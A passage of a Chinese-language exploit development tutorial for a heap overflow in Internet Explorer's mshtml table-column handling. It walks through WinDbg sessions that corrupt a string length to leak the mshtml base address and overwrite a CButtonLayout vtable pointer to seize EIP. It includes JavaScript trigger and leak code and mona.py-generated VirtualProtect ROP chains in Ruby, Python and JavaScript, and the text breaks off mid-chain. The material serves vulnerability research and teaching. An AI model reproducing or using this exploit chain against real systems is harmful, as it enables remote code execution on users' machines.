	leak_col.span = "19";
}
分配大小为0x13*0x1c覆盖字符串大小信息。
在函数mshtml!CTableLayout::CalculateMinMax上下断点,查看第二次断下时的信息(vulheap首地址及内存分布):
0:013> bl
 0 d 6996a1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 1 d 686aa1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 2 e 76e92c6a     0001 (0001)  0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
 4 d 694ea1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 5 d 6887a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
0:013> bd 2;be 5
0:013> g
ModLoad: 6d1c0000 6d272000   C:\Windows\System32\jscript.dll
Breakpoint 5 hit
eax=ffffffff ebx=00390e38 ecx=00412802 edx=ffffffff esi=00000000 edi=0251c914
eip=6887a078 esp=0251c6b8 ebp=0251c8d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6887a078 8bff            mov     edi,edi
0:005> g
Breakpoint 5 hit
eax=ffffffff ebx=00390e38 ecx=00402c02 edx=ffffffff esi=00000000 edi=0251c12c
eip=6887a078 esp=0251bed0 ebp=0251c0e8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6887a078 8bff            mov     edi,edi
0:005> dd poi(ebx+0x9c) l100
030ba748  00001004 00001004 00001004 00000000
030ba758  00450045 00450041 00010048 00001004
030ba768  00001004 00001004 00000000 00450045
030ba778  00450041 00010048 00001004 00001004
030ba788  00001004 00000000 00450045 00450041
030ba798  00010048 00001004 00001004 00001004
030ba7a8  00000000 00450045 00450041 00010048
030ba7b8  00001004 00001004 00001004 00000000
030ba7c8  00450045 00450041 00010048 00001004
030ba7d8  00001004 00001004 00000000 00450045
030ba7e8  00450041 00010048 00001004 00001004
030ba7f8  00001004 00000000 00450045 00450041
030ba808  00010048 00001004 00001004 00001004
030ba818  00000000 00450045 00450041 00010048
030ba828  00001004 00001004 00001004 00000000
030ba838  00450045 00450041 00010048 00000045
030ba848  4cd080cb 88000000 000000fa 00410041
030ba858  00410041 00410041 00410041 00410041
030ba868  00410041 00410041 00410041 00410041
030ba878  00410041 00410041 00410041 00410041
030ba888  00410041 00410041 00410041 00410041
030ba898  00410041 00410041 00410041 00410041
030ba8a8  00410041 00410041 00410041 00410041
030ba8b8  00410041 00410041 00410041 00410041
030ba8c8  00410041 00410041 00410041 00410041
030ba8d8  00410041 00410041 00410041 00410041
030ba8e8  00410041 00410041 00410041 00410041
030ba8f8  00410041 00410041 00410041 00410041
030ba908  00410041 00410041 00410041 00410041
030ba918  00410041 00410041 00410041 00410041
030ba928  00410041 00410041 00410041 00410041
030ba938  00410041 00410041 00410041 00410041
030ba948  00410041 00000041 4cd080e8 88000000
030ba958  000000fa 00420042 00420042 00420042
030ba968  00420042 00420042 00420042 00420042
030ba978  00420042 00420042 00420042 00420042
030ba988  00420042 00420042 00420042 00420042
030ba998  00420042 00420042 00420042 00420042
030ba9a8  00420042 00420042 00420042 00420042
030ba9b8  00420042 00420042 00420042 00420042
030ba9c8  00420042 00420042 00420042 00420042
030ba9d8  00420042 00420042 00420042 00420042
030ba9e8  00420042 00420042 00420042 00420042
030ba9f8  00420042 00420042 00420042 00420042
030baa08  00420042 00420042 00420042 00420042
030baa18  00420042 00420042 00420042 00420042
030baa28  00420042 00420042 00420042 00420042
030baa38  00420042 00420042 00420042 00420042
030baa48  00420042 00420042 00420042 00000042
030baa58  4cd08089 8c000000 688c84f8 003af620
030baa68  030b1e10 688c8690 00000001 00000000
030baa78  01080809 ffffffff 00000000 00000000
030baa88  00000000 ffffffff 00000080 ffffffff
030baa98  00000000 00000000 00000000 00000000
030baaa8  00000000 00000024 00000020 00000000
030baab8  00000000 00000000 00000000 00000000
030baac8  00000000 00000000 00000000 00000000
030baad8  00000000 00000000 00000000 00000000
030baae8  00000000 00000000 00000000 030bab10
030baaf8  00000000 00000000 00000000 00000000
030bab08  00000001 00000001 00000000 00000000
030bab18  00000000 00000000 00000000 00000000
030bab28  ffffffff ffffffff ffffffff ffffffff
030bab38  00000000 00000000 00000000 00000000
可以看到vulheap首地址为030ba748,后边是AAA BBBB Cbutton对象,注意此时BBBB字符串的长度信息保存在030ba958处,大小为0xfc,button对象的虚表指针保存在030baa60处
0:005> ln poi(030baa60)
(688c84f8)   mshtml!CButtonLayout::`vftable'   |  (688c8690)   mshtml!CButtonLayout::`vftable'
Exact matches:
    mshtml!CButtonLayout::`vftable' = <no type information>
在地址68a0f31f下断点,此处eax保存的是要复制的次数:
mshtml!CTableLayout::CalculateMinMax+0x39a:
68a0f309 8bc7            mov     eax,edi
68a0f30b e87dd0f5ff      call    mshtml!CElement::IsDisplayNone (6896c38d)
68a0f310 85c0            test    eax,eax
68a0f312 0f854238dcff    jne     mshtml!CTableLayout::CalculateMinMax+0x3dc (687d2b5a)

mshtml!CTableLayout::CalculateMinMax+0x3a5:
68a0f318 8bc7            mov     eax,edi
68a0f31a e8acb3deff      call    mshtml!CTableCol::GetAAspan (687fa6cb)
68a0f31f 3de8030000      cmp     eax,3E8h
68a0f324 894510          mov     dword ptr [ebp+10h],eax
68a0f327 7c07            jl      mshtml!CTableLayout::CalculateMinMax+0x3bd (68a0f330)

Breakpoint 3 hit
eax=00000013 ebx=00390e38 ecx=00000002 edx=0037b988 esi=030ba844 edi=003b4678
eip=68a0f31f esp=0251be28 ebp=0251becc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
68a0f31f 3de8030000      cmp     eax,3E8h
可以看到需要复制19次
在地址68a0f475下断点:
mshtml!CTableLayout::CalculateMinMax+0x544:
68a0f466 ff75c0          push    dword ptr [ebp-40h]
68a0f469 8b45cc          mov     eax,dword ptr [ebp-34h]
68a0f46c ff750c          push    dword ptr [ebp+0Ch]
68a0f46f 8b75d8          mov     esi,dword ptr [ebp-28h]
68a0f472 ff75f4          push    dword ptr [ebp-0Ch]
68a0f475 e8a0151900      call    mshtml!CTableColCalc::AdjustForCol (68ba0a1a)
68a0f47a ff45ec          inc     dword ptr [ebp-14h]
68a0f47d 8b45ec          mov     eax,dword ptr [ebp-14h]
68a0f480 8345dc1c        add     dword ptr [ebp-24h],1Ch
68a0f484 3b4510          cmp     eax,dword ptr [ebp+10h]
68a0f487 7caf            jl      mshtml!CTableLayout::CalculateMinMax+0x516 (68a0f438)
运行,然后单步运行,查看执行函数前后poi(ebx+0x9c):
0:005> g
Breakpoint 6 hit
eax=003cd718 ebx=00390e38 ecx=00000000 edx=00000010 esi=030ba748 edi=00000001
eip=68a0f475 esp=0251be1c ebp=0251becc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x553:
68a0f475 e8a0151900      call    mshtml!CTableColCalc::AdjustForCol (68ba0a1a)
0:005> dd poi(ebx+0x9c)
030ba748  00000000 00000000 00000000 00000000
030ba758  00450045 00450041 00000000 00000000
030ba768  00000000 00000000 00000000 00450045
030ba778  00450041 00000000 00000000 00000000
030ba788  00000000 00000000 00450045 00450041
030ba798  00000000 00000000 00000000 00000000
030ba7a8  00000000 00450045 00450041 00000000
030ba7b8  00000000 00000000 00000000 00000000
0:005> p
eax=00010048 ebx=00390e38 ecx=030ba760 edx=00000010 esi=030ba748 edi=00000001
eip=68a0f47a esp=0251be28 ebp=0251becc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x558:
68a0f47a ff45ec          inc     dword ptr [ebp-14h]  ss:0023:0251beb8=00000000
0:005> dd poi(ebx+0x9c)
030ba748  00001004 00001004 00001004 00000000
030ba758  00450045 00450041 00010048 00000000
030ba768  00000000 00000000 00000000 00450045
030ba778  00450041 00000000 00000000 00000000
030ba788  00000000 00000000 00450045 00450041
030ba798  00000000 00000000 00000000 00000000
030ba7a8  00000000 00450045 00450041 00000000
030ba7b8  00000000 00000000 00000000 00000000
因为要连续复制,19次,我们直接下条件断点吧 ,然后查看0x030ba958数据的变化。循环次数保存在ebp-14h,直接在函数adjustforcol下条件断点:
0:005> bp 68a0f475 ".if poi(ebp-0x14)=0x12 {} .else {gc}"
breakpoint 6 redefined
0:005> g
eax=003cd718 ebx=00390e38 ecx=000001f8 edx=00000010 esi=030ba940 edi=00000001
eip=68a0f475 esp=0251be1c ebp=0251becc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x553:
68a0f475 e8a0151900      call    mshtml!CTableColCalc::AdjustForCol (68ba0a1a)
0:005> dd ebp-0x14 l1
0251beb8  00000012


0:005> bp 68a0f475 ".if poi(ebp-0x14)=0x12 {} .else {gc}"
breakpoint 6 redefined
0:005> bd 3
0:005> g
eax=003cd718 ebx=00390e38 ecx=000001f8 edx=00000010 esi=030ba940 edi=00000001
eip=68a0f475 esp=0251be1c ebp=0251becc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x553:
68a0f475 e8a0151900      call    mshtml!CTableColCalc::AdjustForCol (68ba0a1a)
0:005> dd poi(ebx+0x9c) l100
030ba748  00001004 00001004 00001004 00000000
030ba758  00450045 00450041 00010048 00001004
030ba768  00001004 00001004 00000000 00450045
030ba778  00450041 00010048 00001004 00001004
030ba788  00001004 00000000 00450045 00450041
030ba798  00010048 00001004 00001004 00001004
030ba7a8  00000000 00450045 00450041 00010048
030ba7b8  00001004 00001004 00001004 00000000
030ba7c8  00450045 00450041 00010048 00001004
030ba7d8  00001004 00001004 00000000 00450045
030ba7e8  00450041 00010048 00001004 00001004
030ba7f8  00001004 00000000 00450045 00450041
030ba808  00010048 00001004 00001004 00001004
030ba818  00000000 00450045 00450041 00010048
030ba828  00001004 00001004 00001004 00000000
030ba838  00450045 00450041 00010048 00001004
030ba848  00001004 00001004 000000fa 00410041
030ba858  00410041 00010048 00001004 00001004
030ba868  00001004 00410041 00410041 00410041
030ba878  00010048 00001004 00001004 00001004
030ba888  00410041 00410041 00410041 00010048
030ba898  00001004 00001004 00001004 00410041
030ba8a8  00410041 00410041 00010048 00001004
030ba8b8  00001004 00001004 00410041 00410041
030ba8c8  00410041 00010048 00001004 00001004
030ba8d8  00001004 00410041 00410041 00410041
030ba8e8  00010048 00001004 00001004 00001004
030ba8f8  00410041 00410041 00410041 00010048
030ba908  00001004 00001004 00001004 00410041
030ba918  00410041 00410041 00010048 00001004
030ba928  00001004 00001004 00410041 00410041
030ba938  00410041 00010048 00410041 00410041
030ba948  00410041 00000041 4cd080e8 88000000
030ba958  000000fa 00420042 00420042 00420042
030ba968  00420042 00420042 00420042 00420042
030ba978  00420042 00420042 00420042 00420042
030ba988  00420042 00420042 00420042 00420042
030ba998  00420042 00420042 00420042 00420042
030ba9a8  00420042 00420042 00420042 00420042
030ba9b8  00420042 00420042 00420042 00420042
030ba9c8  00420042 00420042 00420042 00420042
030ba9d8  00420042 00420042 00420042 00420042
030ba9e8  00420042 00420042 00420042 00420042
030ba9f8  00420042 00420042 00420042 00420042
030baa08  00420042 00420042 00420042 00420042
030baa18  00420042 00420042 00420042 00420042
030baa28  00420042 00420042 00420042 00420042
030baa38  00420042 00420042 00420042 00420042
030baa48  00420042 00420042 00420042 00000042
030baa58  4cd08089 8c000000 688c84f8 003af620
030baa68  030b1e10 688c8690 00000001 00000000
030baa78  01080809 ffffffff 00000000 00000000
030baa88  00000000 ffffffff 00000080 ffffffff
030baa98  00000000 00000000 00000000 00000000
030baaa8  00000000 00000024 00000020 00000000
030baab8  00000000 00000000 00000000 00000000
030baac8  00000000 00000000 00000000 00000000
030baad8  00000000 00000000 00000000 00000000
030baae8  00000000 00000000 00000000 030bab10
030baaf8  00000000 00000000 00000000 00000000
030bab08  00000001 00000001 00000000 00000000
030bab18  00000000 00000000 00000000 00000000
030bab28  ffffffff ffffffff ffffffff ffffffff
030bab38  00000000 00000000 00000000 00000000
0:005> p
eax=00010048 ebx=00390e38 ecx=030ba958 edx=00000010 esi=030ba940 edi=00000001
eip=68a0f47a esp=0251be28 ebp=0251becc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x558:
68a0f47a ff45ec          inc     dword ptr [ebp-14h]  ss:0023:0251beb8=00000012
0:005> dd poi(ebx+0x9c) l100
030ba748  00001004 00001004 00001004 00000000
030ba758  00450045 00450041 00010048 00001004
030ba768  00001004 00001004 00000000 00450045
030ba778  00450041 00010048 00001004 00001004
030ba788  00001004 00000000 00450045 00450041
030ba798  00010048 00001004 00001004 00001004
030ba7a8  00000000 00450045 00450041 00010048
030ba7b8  00001004 00001004 00001004 00000000
030ba7c8  00450045 00450041 00010048 00001004
030ba7d8  00001004 00001004 00000000 00450045
030ba7e8  00450041 00010048 00001004 00001004
030ba7f8  00001004 00000000 00450045 00450041
030ba808  00010048 00001004 00001004 00001004
030ba818  00000000 00450045 00450041 00010048
030ba828  00001004 00001004 00001004 00000000
030ba838  00450045 00450041 00010048 00001004
030ba848  00001004 00001004 000000fa 00410041
030ba858  00410041 00010048 00001004 00001004
030ba868  00001004 00410041 00410041 00410041
030ba878  00010048 00001004 00001004 00001004
030ba888  00410041 00410041 00410041 00010048
030ba898  00001004 00001004 00001004 00410041
030ba8a8  00410041 00410041 00010048 00001004
030ba8b8  00001004 00001004 00410041 00410041
030ba8c8  00410041 00010048 00001004 00001004
030ba8d8  00001004 00410041 00410041 00410041
030ba8e8  00010048 00001004 00001004 00001004
030ba8f8  00410041 00410041 00410041 00010048
030ba908  00001004 00001004 00001004 00410041
030ba918  00410041 00410041 00010048 00001004
030ba928  00001004 00001004 00410041 00410041
030ba938  00410041 00010048 00001004 00001004
030ba948  00001004 00000041 4cd080e8 88000000
030ba958  00010048 00420042 00420042 00420042
030ba968  00420042 00420042 00420042 00420042
030ba978  00420042 00420042 00420042 00420042
030ba988  00420042 00420042 00420042 00420042
030ba998  00420042 00420042 00420042 00420042
030ba9a8  00420042 00420042 00420042 00420042
030ba9b8  00420042 00420042 00420042 00420042
030ba9c8  00420042 00420042 00420042 00420042
030ba9d8  00420042 00420042 00420042 00420042
030ba9e8  00420042 00420042 00420042 00420042
030ba9f8  00420042 00420042 00420042 00420042
030baa08  00420042 00420042 00420042 00420042
030baa18  00420042 00420042 00420042 00420042
030baa28  00420042 00420042 00420042 00420042
030baa38  00420042 00420042 00420042 00420042
030baa48  00420042 00420042 00420042 00000042
030baa58  4cd08089 8c000000 688c84f8 003af620
030baa68  030b1e10 688c8690 00000001 00000000
030baa78  01080809 ffffffff 00000000 00000000
030baa88  00000000 ffffffff 00000080 ffffffff
030baa98  00000000 00000000 00000000 00000000
030baaa8  00000000 00000024 00000020 00000000
030baab8  00000000 00000000 00000000 00000000
030baac8  00000000 00000000 00000000 00000000
030baad8  00000000 00000000 00000000 00000000
030baae8  00000000 00000000 00000000 030bab10
030baaf8  00000000 00000000 00000000 00000000
030bab08  00000001 00000001 00000000 00000000
030bab18  00000000 00000000 00000000 00000000
030bab28  ffffffff ffffffff ffffffff ffffffff
030bab38  00000000 00000000 00000000 00000000
可以看到此时BBB的长度信息已经被覆盖掉为0x 00010048,这样的话我们就可以读取字符串后边的信息了,字符串后边正好有一个对象,正好可以读取对象的虚表指针

function strtoint(str) {
	return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}  //解决小端存储的问题,并且将字符串转成整数
function get_leak() {
	var str_addr = strtoint(bl[498].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2));
	//alert(str_addr.toString(16));
	//alert(typeof(str_addr));
	//alert(str_addr.toString(16));
	str_addr=(str_addr & 0xffff0000)-0x00150000;   //经过这样运算就获取了mshtml的基地址
	alert(typeof(str_addr));
	alert(str_addr.toString(16));
	//alert(str_addr);
	//str_addr = str_addr - 1410704;
	//setTimeout(function(){heapspray(str_addr)}, 200);	
}

可以看到此时mshtml.dll的基地址是0x674e0000.

再进一步控制EIP,这需要进一步堆溢出,覆盖对象的虚表指针,覆盖的数据我们可以控制,即width*100,前边也介绍过
function trigger_overflow(){
	var evil_col = document.getElementById("132");
	evil_col.width = "1178993";
	evil_col.span = "32";  //zhishaoshi 0x1d=29
}
其中span的值必须要大于等于29,因为29*0x1c=0x32c
溢出时,需要覆盖vulheap AAA部分 BBB部分 大小为0x100*3+8*2(AAA BBB的堆首信息)+0x8(CButton对象的堆首信息)=0x318,这样才能覆盖到。
覆盖的数据为1178993*100=0x07070024或者8|16*0x07070024=0x70700248(前面有介绍)
调试看一下:
首先在函数mshtml!CTableLayout::CalculateMinMax上下断,然后运行程序,会断下三次,然后在mshtml!CTableLayout::CalculateMinMax+0x3ac(函数getaaspan下一条汇编指令)上下断,查看eax信息,可以看到此时eax=0x20:
0:005> bp 6910f31f
0:005> bl
 0 d 6996a1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 1 d 686aa1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 2 d 76e92c6a     0001 (0001)  0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
 3 e 6910f31f     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax+0x3ac
 4 d 694ea1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 5 e 68f7a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
0:005> dd poi(ebx+0x9c) l1    //vulheap
03fb1800  00001004
0:005> g
Breakpoint 3 hit
eax=00000020 ebx=005e81b0 ecx=00000002 edx=0056f6e8 esi=03fb18fc edi=005ef0f8
eip=6910f31f esp=0250bd60 ebp=0250be04 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6910f31f 3de8030000      cmp     eax,3E8h
因为要复制很多次,所以我们再下一个条件断点,在函数adjustforcol上下条件断点:
0:005> bp 6910f475  ".if poi(ebp-0x14)=0x1c {} .else {gc}"
0:005> bl
 0 d 6996a1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 1 d 686aa1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 2 d 76e92c6a     0001 (0001)  0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
 3 e 6910f31f     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax+0x3ac
 4 d 694ea1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 5 e 68f7a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
 6 e 6910f475     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax+0x553 ".if poi(ebp-0x14)=0x1c {} .else {gc}"
0:005> g
eax=005c4d30 ebx=005e81b0 ecx=00000310 edx=00070700 esi=03fb1b10 edi=00000001
eip=6910f475 esp=0250bd54 ebp=0250be04 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x553:
6910f475 e8a0151900      call    mshtml!CTableColCalc::AdjustForCol (692a0a1a)
0:005> dd ebp-0x14 l1
0250bdf0  0000001c
0:005> dd poi(ebx+0x9c) l100
03fb1800  07070024 07070024 07070024 00000000
03fb1810  00450045 00450041 70700248 07070024
03fb1820  07070024 07070024 00000000 00450045
03fb1830  00450041 70700248 07070024 07070024
03fb1840  07070024 00000000 00450045 00450041
03fb1850  70700248 07070024 07070024 07070024
03fb1860  00000000 00450045 00450041 70700248
03fb1870  07070024 07070024 07070024 00000000
03fb1880  00450045 00450041 70700248 07070024
03fb1890  07070024 07070024 00000000 00450045
03fb18a0  00450041 70700248 07070024 07070024
03fb18b0  07070024 00000000 00450045 00450041
03fb18c0  70700248 07070024 07070024 07070024
03fb18d0  00000000 00450045 00450041 70700248
03fb18e0  07070024 07070024 07070024 00000000
03fb18f0  00450045 00450041 70700248 07070024
03fb1900  07070024 07070024 000000fa 00410041
03fb1910  00410041 70700248 07070024 07070024
03fb1920  07070024 00410041 00410041 00410041
03fb1930  70700248 07070024 07070024 07070024
03fb1940  00410041 00410041 00410041 70700248
03fb1950  07070024 07070024 07070024 00410041
03fb1960  00410041 00410041 70700248 07070024
03fb1970  07070024 07070024 00410041 00410041
03fb1980  00410041 70700248 07070024 07070024
03fb1990  07070024 00410041 00410041 00410041
03fb19a0  70700248 07070024 07070024 07070024
03fb19b0  00410041 00410041 00410041 70700248
03fb19c0  07070024 07070024 07070024 00410041
03fb19d0  00410041 00410041 70700248 07070024
03fb19e0  07070024 07070024 00410041 00410041
03fb19f0  00410041 70700248 07070024 07070024
03fb1a00  07070024 00000041 14878230 88000000
03fb1a10  70700248 07070024 07070024 07070024
03fb1a20  00420042 00420042 00420042 70700248
03fb1a30  07070024 07070024 07070024 00420042
03fb1a40  00420042 00420042 70700248 07070024
03fb1a50  07070024 07070024 00420042 00420042
03fb1a60  00420042 70700248 07070024 07070024
03fb1a70  07070024 00420042 00420042 00420042
03fb1a80  70700248 07070024 07070024 07070024
03fb1a90  00420042 00420042 00420042 70700248
03fb1aa0  07070024 07070024 07070024 00420042
03fb1ab0  00420042 00420042 70700248 07070024
03fb1ac0  07070024 07070024 00420042 00420042
03fb1ad0  00420042 70700248 07070024 07070024
03fb1ae0  07070024 00420042 00420042 00420042
03fb1af0  70700248 07070024 07070024 07070024
03fb1b00  00420042 00420042 00420042 70700248
03fb1b10  14878213 8c000000 68fc84f8 005b17c0
03fb1b20  03fa6da0 68fc8690 00000001 00000000
03fb1b30  01080809 ffffffff 00000000 00000000
03fb1b40  00000000 ffffffff 00000080 ffffffff
03fb1b50  00000000 00000000 00000000 00000000
03fb1b60  00000000 00000024 00000020 00000000
03fb1b70  00000000 00000000 00000000 00000000
03fb1b80  00000000 00000000 00000000 00000000
03fb1b90  00000000 00000000 00000000 00000000
03fb1ba0  00000000 00000000 00000000 03fb1bc8
03fb1bb0  00000000 00000000 00000000 00000000
03fb1bc0  00000001 00000001 00000000 00000000
03fb1bd0  00000000 00000000 00000000 00000000
03fb1be0  ffffffff ffffffff ffffffff ffffffff
03fb1bf0  00000000 00000000 00000000 00000000
注意地址03fb1b18处数据的变化,本来是保存虚表指针的:
0:005> p
eax=70700248 ebx=005e81b0 ecx=03fb1b28 edx=00070700 esi=03fb1b10 edi=00000001
eip=6910f47a esp=0250bd60 ebp=0250be04 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x558:
6910f47a ff45ec          inc     dword ptr [ebp-14h]  ss:0023:0250bdf0=0000001c
0:005> dd 03fb1b00
03fb1b00  00420042 00420042 00420042 70700248
03fb1b10  07070024 07070024 07070024 005b17c0
03fb1b20  03fa6da0 68fc8690 70700248 00000000
03fb1b30  01080809 ffffffff 00000000 00000000
03fb1b40  00000000 ffffffff 00000080 ffffffff
03fb1b50  00000000 00000000 00000000 00000000
03fb1b60  00000000 00000024 00000020 00000000
03fb1b70  00000000 00000000 00000000 00000000
可以看到此时虚表指针已经被替换成了07070024,这样调用对象的虚函数时,就会调用虚表指针里的虚函数表,如果我们可以控制地址0x07070024的内容,那就可以控制EIP了。
0:005> ba r4 07070024
0:005> g
(b50.f74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07070024 ebx=01000000 ecx=03fb1b18 edx=00000041 esi=0250d580 edi=03fa6da0
eip=6903e664 esp=0250d3bc ebp=0250d3f0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!NotifyElement+0x3e:
6903e664 ff5008          call    dword ptr [eax+8]    ds:0023:0707002c=????????
可以看到EIP被我们控制了
接下来就是heap spray,在0x0707002c处布置我们的shellcode,在介绍布置shellcode之前,首先介绍一下ROP:
在windbg中利用mona.py对指定模块搜索ROP代码:
0:005> .load pykd
0:005> !py mona rop -m mshtml.dll
*******************************************************************************************
 You are running a newer version of pykd.pyd
 mona.py was tested against v0.2.0.29
 and not against v0.3.1.7
 This version may not work properly.
。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。
[+] Creating suggestions list
[+] Processing suggestions
[+] Launching ROP generator
[+] Attempting to produce rop chain for VirtualProtect
    Enumerating ROPFunc info
[+] Searching from 0x68e70000 to 0x69427000
[+] Preparing output file 'mshtml_virtualprotect.xml'
    - (Re)setting logfile mshtml_virtualprotect.xml
[+] Attempting to produce rop chain for VirtualAlloc
    Enumerating ROPFunc info
[+] Searching from 0x68e70000 to 0x69427000
[+] Preparing output file 'mshtml_virtualalloc.xml'
    - (Re)setting logfile mshtml_virtualalloc.xml
[+] Preparing output file 'rop_chains.txt'
    - (Re)setting logfile rop_chains.txt
[+] ROP chains written to file rop_chains.txt

################################################################################

Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = tr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------


ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------

*** [ Ruby ] ***

    def create_rop_chain()

        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = 
        [
            0x68edd743,    # POP EBP # RETN [mshtml.dll] 
            0x68edd743,    # skip 4 bytes [mshtml.dll]
            0x692a240a,    # POP EBX # RETN [mshtml.dll] 
            0x00000201,    # 0x00000201-> ebx
            0x6916b796,    # POP EDX # RETN [mshtml.dll] 
            0x00000040,    # 0x00000040-> edx
            0x69157863,    # POP ECX # RETN [mshtml.dll] 
            0x693a8737,    # &Writable location [mshtml.dll]
            0x6904ca2f,    # POP EDI # RETN [mshtml.dll] 
            0x68ff38e2,    # RETN (ROP NOP) [mshtml.dll]
            0x69094dfb,    # POP ESI # RETN [mshtml.dll] 
            0x68e7c0a3,    # JMP [EAX] [mshtml.dll]
            0x691c13ef,    # POP EAX # RETN [mshtml.dll] 
            0x68e71348,    # ptr to &VirtualProtect() [IAT mshtml.dll]
            0x68edcce2,    # PUSHAD # RETN [mshtml.dll] 
            0x68eab04f,    # ptr to 'jmp esp' [mshtml.dll]
        ].flatten.pack("V*")

        return rop_gadgets

    end


    # Call the ROP chain generator inside the 'exploit' function :


    rop_chain = create_rop_chain()



*** [ Python ] ***

    def create_rop_chain():

        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = ""
        rop_gadgets += struct.pack('<L',0x68edd743)    # POP EBP # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68edd743)    # skip 4 bytes [mshtml.dll]
        rop_gadgets += struct.pack('<L',0x692a240a)    # POP EBX # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x00000201)    # 0x00000201-> ebx
        rop_gadgets += struct.pack('<L',0x6916b796)    # POP EDX # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x00000040)    # 0x00000040-> edx
        rop_gadgets += struct.pack('<L',0x69157863)    # POP ECX # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x693a8737)    # &Writable location [mshtml.dll]
        rop_gadgets += struct.pack('<L',0x6904ca2f)    # POP EDI # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68ff38e2)    # RETN (ROP NOP) [mshtml.dll]
        rop_gadgets += struct.pack('<L',0x69094dfb)    # POP ESI # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68e7c0a3)    # JMP [EAX] [mshtml.dll]
        rop_gadgets += struct.pack('<L',0x691c13ef)    # POP EAX # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68e71348)    # ptr to &VirtualProtect() [IAT mshtml.dll]
        rop_gadgets += struct.pack('<L',0x68edcce2)    # PUSHAD # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68eab04f)    # ptr to 'jmp esp' [mshtml.dll]
        return rop_gadgets

    rop_chain = create_rop_chain()



*** [ JavaScript ] ***

    //rop chain generated with mona.py - www.corelan.be
    rop_gadgets = unescape(
        "%ud743%u68ed" + // 0x68edd743 : ,# POP EBP # RETN [mshtml.dll] 
        "%ud743%u68ed" + // 0x68edd743 : ,# skip 4 bytes [mshtml.dll]
        "%u2a24" + // 0x692a240a : ,# POP EBX # RETN [mshtml.dll] 
